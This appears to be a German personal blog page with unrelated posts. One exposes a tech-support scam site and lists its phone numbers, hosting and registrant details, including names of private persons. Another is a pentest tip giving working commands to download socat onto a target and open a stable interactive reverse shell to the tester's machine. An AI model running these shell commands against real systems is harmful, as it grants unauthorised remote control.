Lonesome Walker

Immer dran denken:
es gibt auch in Australien Menschen, die das UK-Layout nutzen…

Heute von einem Bekannten erfahren, der per Werbe-Einblendung auf nicht-seriösen Seiten wie spiegel.de oder bild.de dazu aufgefordert wurde, bei besagter Nummer anzurufen, da sein PC kaputt/infiziert sei (und ja, wer Werbeanzeigen ungeprüft freigibt, ist unseriös!).

JA, DAS IST BETRUG.
JA, ANZEIGE BEI DER POLIZEI ERSTATTEN MACHT SINN.
Nur so werden diese 0800-Nummern abgeschalten.
(08007241757 oder 08001826469)

Oh halt, vergleichen wir doch mal:


Screenshot 07.03.2018 – kiesdirekt.de – trustedshops kann man halt doch nicht trauen…
https://www.trustedshops.de/bewertung/info_XA142A6FEA335F29F36EBB596D96572DE.html

Ebenfalls darf gerne jeder die Profile bei Facebook, Twitter und Co. melden:
facebook.com/Zapexo-138464286840259/
twitter.com/Zapexo_de
pinterest.de/zapexo/
linkedin.com/company/13616771/
instagram.com/zapexode/

Na denn, wollen wir doch mal sehen, was uns diese Scammer so bieten:

Die Webseite wird in Indien gehostet, und hat trotz .de natürlich KEIN Impressum.
Domain: zapexo.de
IP-Adresse: 103.21.58.238
Provider: Confluence Networks
Region: Mumbai (IN)

Auf der Webseite selbst:
Eschersheimer Landstraße 42
Frankfurt am Main
60322 Germany

Laut Denic:
Anu Khanna
619 Sector 21
Faridabad
121 Faridabad
Indien

Admin-C
(der Klassiker, weil die ja für Jeden den Hampelmann spielen)
Sandra Zell
PTS Privacy & Trustee Services GmbH
Neunkircher-Str. 43
66299 Friedrichsthal
Deutschland

So, ABER:
wenn man in den Quellcode guckt, findet man sowas hier:
gtag('config', 'UA-111872209-1');
Da hätte man doch schon mal einen netten Ansatz, was die noch so machen.
Okay, reverse lookup findet dann z.B. auch sowas wie anleitung.xyz

Ebenfalls findet man noch eine Handynummer: 0157-35989796
Eplus-Netz, wo man die billigsten Prepaid-Karten bekommt.

Aber auch ansonsten ist die Webseite ein „Augenschmaus“, vor allem das viele korrekte Deutsch:

Screengrab zapexo.de vom 07.03.2018

Erinnert mich irgendwie an das hier:

Alles in Allem:
NIEMANDEN REMOTE AUF SEINEN RECHNER LASSEN, DEN MAN NICHT KENNT!
AUCH WENN DER ANDERE ANGEBLICH VON MICROSOFT IST!

Weil ich dummerweise gerade wieder Strg+C gedrückt habe und mir logischerweise die netcat Remote-Shell dadurch abgenippelt ist…

Entweder ist socat schon auf dem Pentest-Opfer installiert (was zu 0,00001% der Fall ist), oder einfach per wget das entsprechende Binary holen.

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat

Wobei das /tmp-Verzeichnis nicht zwingend beschreibbar sein muß…
Ein chmod +x /tmp/socat dann aber auch nicht vergessen!
(sind noch ein paar ganz andere hilfreiche Binaries zu finden: https://github.com/andrew-d/static-binaries )

Auf dem eigenen Rechner (pentestrechner) dann

socat file:`tty`,raw,echo=0 tcp-listen:12345

Port 12345 ist durch einen beliebigen Port zu ersetzen, Hauptsache er ist von außen zu erreichen… ggf. Firewall/Router das Portforwading einrichten

Und mittels:
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:pentestrechner:12345
klappt es dann auch mit der Remote-Shell, die einem nicht einfach mit Ctrl+C wegstirbt 😛